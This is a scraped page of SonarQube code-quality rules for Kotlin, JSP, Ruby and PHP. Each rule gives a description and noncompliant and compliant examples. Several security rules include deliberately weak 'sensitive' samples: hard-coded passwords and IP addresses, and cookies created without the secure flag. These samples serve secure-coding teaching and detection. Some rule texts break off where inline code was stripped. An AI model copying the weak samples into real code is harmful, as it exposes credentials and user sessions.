Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database or secret management service. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Exampleval params = "password=xxxx" // Sensitive val writer = OutputStreamWriter(getOutputStream()) writer.write(params) writer.flush() ... val password = "xxxx" // Sensitive ... Compliant Solutionval params = "password=${retrievePassword()}" val writer = OutputStreamWriter(getOutputStream()) writer.write(params) writer.flush() ... val password = retrievePassword() ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Exampleval x = (y / 2 + 1) // Compliant even if the parentheses are ignored by the compiler if (a && ((x + y > 0))) { // Noncompliant //... } return ((x + 1)) // Noncompliant Compliant Solutionval x = (y / 2 + 1) if (a && (x + y > 0)) { //... } return (x + 1) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1871 |
Having two clauses in a Noncompliant Code Examplefun s1871(x: Int) { when (x) { 1 -> { val y = x / 2 print(y) } 2 -> { val y = x / 2 print(y) } } } ExceptionsBlocks in an if (a == 1) { doSomething() //no issue, usually this is done on purpose to increase the readability } else if (a == 2) { doSomethingElse() } else { doSomething() } But this exception does not apply to if (a == 1) { doSomething() //Noncompliant, this might have been done on purpose but probably not } else if (a == 2) { doSomething() } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Example// FIXME denominator value might be 0 fun divide(numerator: Int, denominator: Int): Int = numerator / denominator See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Examplefun doSomething() { // TODO } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
kotlin:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Ask Yourself WhetherThe disclosed IP address is sensitive, eg:
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesDon't hard-code the IP address in the source code, instead make it configurable. Sensitive Code Exampleval ip = "192.168.12.42" val socket = ServerSocket(ip, 6667) Compliant Solutionval ip = System.getenv("myapplication.ip") val socket = ServerSocket(ip, 6667) ExceptionsNo issue is reported for the following cases because they are not considered sensitive:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-jsp:InsufficientBranchCoverage |
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-jsp:InsufficientLineCoverage |
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-jsp:InsufficientCommentDensity |
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-jsp:DuplicatedBlocks |
An issue is created on a file as soon as there is at least one block of duplicated code on this file
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-jsp:SkippedUnitTests |
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
common-jsp:FailedUnitTests |
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S117 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a function or block parameter name does not match the provided regular expression. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S138 |
A function that grows too large tends to aggregate too many responsibilities. Such functions inevitably become harder to understand and therefore harder to maintain. Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks. Those smaller functions will not only be easier to understand, but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1481 |
If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1821 |
Nested Specifically, you should structure your code to avoid the need for nested Noncompliant Code Exampledef foo(n, m) case n when 0 case m # Noncompliant; nested case when 0 then puts "0" # ... end when 1 then puts "1" else puts "2" end end Compliant Solutiondef foo(n, m) case n when 0 bar(m) when 1 then puts "1" else puts "2" end end def bar(m) case m when 0 then puts "0" # ... end end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S3923 |
Having all branches in a Noncompliant Code Exampleif b == 0 # Noncompliant doOneMoreThing() else doOneMoreThing() end b = a > 12 ? 4 : 4; # Noncompliant case i # Noncompliant when 1 doSomething() when 2 doSomething() when 3 doSomething() else doSomething() end ExceptionsThis rule does not apply to if b == 0 # no issue, this could have been done on purpose to make the code more readable doSomething() elsif b == 1 doSomething() end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S2757 |
The use of operators pairs ( This rule raises an issue when Noncompliant Code Exampletarget = -5 num = 3 target =- num # Noncompliant; target = -3. Is that really what's meant? target =+ num # Noncompliant; target = 3 Compliant Solutiontarget = -5 num = 3 target = -num # Compliant; intent to assign inverse value of num is clear target += num |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S122 |
For better readability, do not put more than one statement on a single line. Noncompliant Code Exampleif someCondition; puts "hello"; end Compliant Solutionif someCondition puts "hello" end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression class my_class ... end Compliant Solutionclass MyClass ... end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1186 |
There are several reasons for a method not to have a method body:
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1066 |
Merging collapsible Noncompliant Code Exampleif !filename.nil? if File.file?(filename) || File.directory?(filename) # ... end end if a then unless b then # ... end end Compliant Solutiondef isFileOrDirectory(filename) File.file?(filename) || File.directory?(filename) end # ... if !filename.nil? && isFileOrDirectory(filename) # ... end if a && !b then # ... end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1067 |
The complexity of an expression is defined by the number of A single expression's complexity should not become too high to keep the code readable. Noncompliant Code ExampleWith the default threshold value of 3: if ((condition1 && condition2) || (condition3 && condition4)) && condition5 ... end Compliant Solutionif (myFirstCondition() || mySecondCondition()) && myLastCondition() ... end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1145 |
There are three possible causes for the presence of such code:
In any of these cases, unconditional Noncompliant Code Exampleif true doSomething() end ... if false doSomethingElse() end Compliant SolutiondoSomething() ... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1763 |
Jump statements ( Noncompliant Code Exampledef foo(a) i = 10 return a + i # Noncompliant i += 1 # dead code end Compliant Solutiondef foo(a) i = 10 return a + i end See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1862 |
A Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior. For a Noncompliant Code Exampleif param == 1 openWindow() elsif param == 2 closeWindow() elsif param == 1 # Noncompliant moveWindowToTheBackground() end case i when 1 # ... when 3 # ... when 1 # Noncompliant # ... else # ... end Compliant Solutionif param == 1 openWindow() elsif param == 2 closeWindow() elsif param == 3 moveWindowToTheBackground() end case i when 1 # ... when 3 # ... else # ... end See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1940 |
It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead. Noncompliant Code Exampleif !(a == 2) # Noncompliant # ... end b = !(a < 10) # Noncompliant Compliant Solutionif a != 2 # ... end b = (a >= 10) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. ExceptionsThis rule ignores See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S108 |
Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed. Noncompliant Code Exampledef compute(a, b) sum = a + b if sum > 0 # Noncompliant; empty on purpose or missing piece of code? end puts "Result: #{sum}" end Compliant Solutiondef compute(a, b) sum = a + b if sum > 0 puts "Positive result" end puts "Result: #{sum}" end ExceptionsWhen a block contains a comment, this block is not considered to be empty.
while @order.process_next; end # Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S107 |
A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S126 |
This rule applies whenever an The requirement for a final The Noncompliant Code Exampleif x == 0 doSomething elsif x == 1 doSomethingElse end Compliant Solutionif x == 0 doSomething elsif x == 1 doSomethingElse else raise 'An error has occured' end ExceptionsWhen all branches of an See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. Noncompliant Code ExampleWith the default threshold of 3: def foo() prepare('action random1') #Noncompliant - "action random1" is duplicated 3 times execute('action random1') release('action random1') end Compliant Solutiondef foo() action1 = 'action random1' prepare(action1) execute(action1) release(action1) end ExceptionsTo prevent generating some false-positives, literals having 5 or less characters are excluded as well as literals containing only letters, digits and '_'. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S104 |
A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S105 |
Developers should not need to configure the tab width of their text editors in order to be able to read source code. So the use of the tabulation character must be banned. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1172 |
Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1151 |
The Noncompliant Code ExampleWith the threshold set at 5: case myVariable when 0 then # Noncompliant: 6 lines till next "when" methodCall1("") methodCall2("") methodCall3("") methodCall4("") methodCall5("") methodCall6("") when 1 # ... end Compliant Solutioncase myVariable when 0 then doSomething() when 1 # ... end ... def doSomething() methodCall1("") methodCall2("") methodCall3("") methodCall4("") methodCall5("") methodCall6("") end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S103 |
Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1314 |
Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values. Noncompliant Code Examplemy_number = 023 # Noncompliant. my_number will hold 19, not 23 - was this really expected? Compliant Solutionmy_number = 23 ExceptionsThis rule does not apply to values smaller than 8 and octal values having 3 digits, since 3 digits octal values are often used as file permission masks. Example: permission_mask = 0777 day_of_month = 03 See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1479 |
When |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1656 |
There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead. Noncompliant Code Exampledef set_name(name) name = name end Compliant Solutiondef set_name(name) @name = name end See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:ParsingError |
When the parser fails, it is possible to record the failure as an issue on the file. This way, not only is it possible to track the number of files that do not parse but also to easily find out why they do not parse. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S4663 |
An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed. Noncompliant Code Example=begin =end =begin =end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S134 |
Nested Such code is hard to read, refactor and therefore maintain. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S4144 |
When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Noncompliant Code Exampleclass Box def initialize(length, width, height) @length, @width, @height = length, width, height end def getVolume area = @length * @width return area * @height end def getArea # Noncompliant, implementation is identical to "getVolume" area = @length * @width return area * @height end end Compliant Solutionclass Box def initialize(length, width, height) @length, @width, @height = length, width, height end def getVolume return getArea * @height end def getArea return @length * @width end end ExceptionsMethods with fewer than 2 statements are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution# # SonarQube, open source software quality management tool. # Copyright (C) 2008-2018 SonarSource # mailto:contact AT sonarsource DOT com # # SonarQube is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 3 of the License, or (at your option) any later version. # # SonarQube is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with this program; if not, write to the Free Software Foundation, # Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S2068 |
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source. In the past, it has led to the following vulnerabilities: Credentials should be stored outside of the code in a configuration file, a database or secret management service. This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list. It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ... Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S131 |
The requirement for a final Noncompliant Code Examplecase param when 1 do_something() when 2 do_something_else() end Compliant Solutioncase param when 1 do_something() when 2 do_something_else() else handle_error('error_message') end See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1110 |
The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed. Noncompliant Code Examplex = (y / 2 + 1) # Compliant even if the parenthesis are ignored by the compiler if a && ((x+y > 0)) # Noncompliant # ... end return ((x + 1)) # Noncompliant Compliant Solutionx = (y / 2 + 1) if a && (x+y > 0) # ... end return (x + 1) |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1871 |
Having two Noncompliant Code Examplecase i when 1 doFirstThing() doSomething() when 2 doSomethingDifferent() when 3 # Noncompliant; duplicates case 1's implementation doFirstThing() doSomething() else doTheRest() end if a >= 0 && a < 10 doFirstThing() doTheThing() elsif a >= 10 && a < 20 doTheOtherThing() elsif a >= 20 && a < 50 doFirstThing() doTheThing() # Noncompliant; duplicates first condition else doTheRest() end ExceptionsBlocks in an if a == doSomething() # no issue, usually this is done on purpose to increase the readability elsif a == 2 doSomethingElse() else doSomething() end But this exception does not apply to if a == 1 doSomething() # Noncompliant, this might have been done on purpose but probably not elsif a == 2 doSomething() end |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1134 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Exampledef divide(numerator, denominator) return numerator / denominator # FIXME denominator value might be 0 end See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1135 |
Sometimes the developer will not have the time or will simply forget to get back to that tag. This rule is meant to track those tags and to ensure that they do not go unnoticed. Noncompliant Code Exampledef do_something() # TODO end See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S3776 |
Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain. See |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
ruby:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Ask Yourself WhetherThe disclosed IP address is sensitive, eg:
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesDon't hard-code the IP address in the source code, instead make it configurable. Sensitive Code Exampleip = "192.168.12.42"; // Sensitive Compliant Solutionip = IP_ADDRESS; // Compliant ExceptionsNo issue is reported for the following cases because they are not considered sensitive:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2092 |
When a cookie is protected with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleIn php.ini you can specify the flags for the session cookie which is security-sensitive: session.cookie_secure = 0; // Sensitive: this security-sensitive session cookie is created with the secure flag set to false (cookie_secure = 0) Same thing in PHP code: session_set_cookie_params($lifetime, $path, $domain, false); // Sensitive: this security-sensitive session cookie is created with the secure flag (the fourth argument) set to _false_ If you create a custom security-sensitive cookie in your PHP code: $value = "sensitive data"; setcookie($name, $value, $expire, $path, $domain, false); // Sensitive: a security-sensitive cookie is created with the secure flag (the sixth argument) set to _false_ By default $value = "sensitive data"; setcookie($name, $value, $expire, $path, $domain); // Sensitive: a security-sensitive cookie is created with the secure flag (the sixth argument) not defined (by default to false) setrawcookie($name, $value, $expire, $path, $domain); // Sensitive: a security-sensitive cookie is created with the secure flag (the sixth argument) not defined (by default to false) Compliant Solutionsession.cookie_secure = 1; // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to cookie_secure property set to 1 session_set_cookie_params($lifetime, $path, $domain, true); // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the fouth argument) set to true $value = "sensitive data"; setcookie($name, $value, $expire, $path, $domain, true); // Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the sixth argument) set to true setrawcookie($name, $value, $expire, $path, $domain, true);// Compliant: the sensitive cookie will not be send during an unencrypted HTTP request thanks to the secure flag (the sixth argument) set to true See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4834 |
The access control of an application must be properly implemented in order to restrict access to resources to authorized entities otherwise this could lead to vulnerabilities: Granting correct permissions to users, applications, groups or roles and defining required permissions that allow access to a resource is sensitive, must therefore be done with care. For instance, it is obvious that only users with administrator privilege should be authorized to add/remove the administrator permission of another user. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesAt minimum, an access control system should:
Sensitive Code ExampleCakePHP use Cake\Auth\BaseAuthorize; use Cake\Controller\Controller; abstract class MyAuthorize extends BaseAuthorize { // Sensitive. Method extending Cake\Auth\BaseAuthorize. // ... } // Note that "isAuthorized" methods will only be detected in direct subclasses of Cake\Controller\Controller. abstract class MyController extends Controller { public function isAuthorized($user) { // Sensitive. Method called isAuthorized in a Cake\Controller\Controller. return false; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1448 |
A class that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well defined topics. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3626 |
Jump statements, such as Noncompliant Code Examplefunction foo($p) { $i = $p; while ($i > 0) { $i--; continue; // Noncompliant } } Compliant Solutionfunction foo($p) { $i = $p; while ($i > 0) { $i--; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3981 |
The count of elements from an array or Countable object is always greater than or equal to zero. So testing that the count is greater than or equal
to zero doesn't make sense, since the result is always Noncompliant Code Exampleif (count($arr) >= 0) { ... } if (count($arr) < 0) { ... } $result = count($arr) >= 0; if (0 > count($arr)) { ... } Compliant Solutionif (count($arr) != 0) { ... } if (count($arr) > 0) { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1200 |
According to the Single Responsibility Principle, introduced by Robert C. Martin in his book "Principles of Object Oriented Design", a class should have only one responsibility:
Classes which rely on many other classes tend to aggregate too many responsibilities and should be split into several smaller ones. Nested classes dependencies are not counted as dependencies of the outer class. Noncompliant Code Exampleclass Foo { // Noncompliant - Foo depends on too many classes: T1, T2, T3, T4, T5, T6 and T7 /** * @var T1 */ public $a1; // Foo is coupled to T1 /** * @var T2 */ protected $a2; // Foo is coupled to T2 /** * @var T3 */ private $a3; // Foo is coupled to T3 /** * @param T5 * @param T6 * * @return T4 */ public function compute(T5 $a, $b) { // Foo is coupled to T4, T5 and T6 $result = new T7(); // Foo is coupled to T7 return $result; } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3984 |
Creating a new Noncompliant Code Exampleif ($x < 0) new Exception('$x must be nonnegative'); Compliant Solutionif ($x < 0) throw new Exception('$x must be nonnegative'); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4833 |
PHP 5.3 introduces namespaces to the language. Use of this mechanism should be preferred to
Starting from its version 8, Drupal is relying on namespaces to be compliant with PSR-4 standard. Drupal's modules should be compliant with
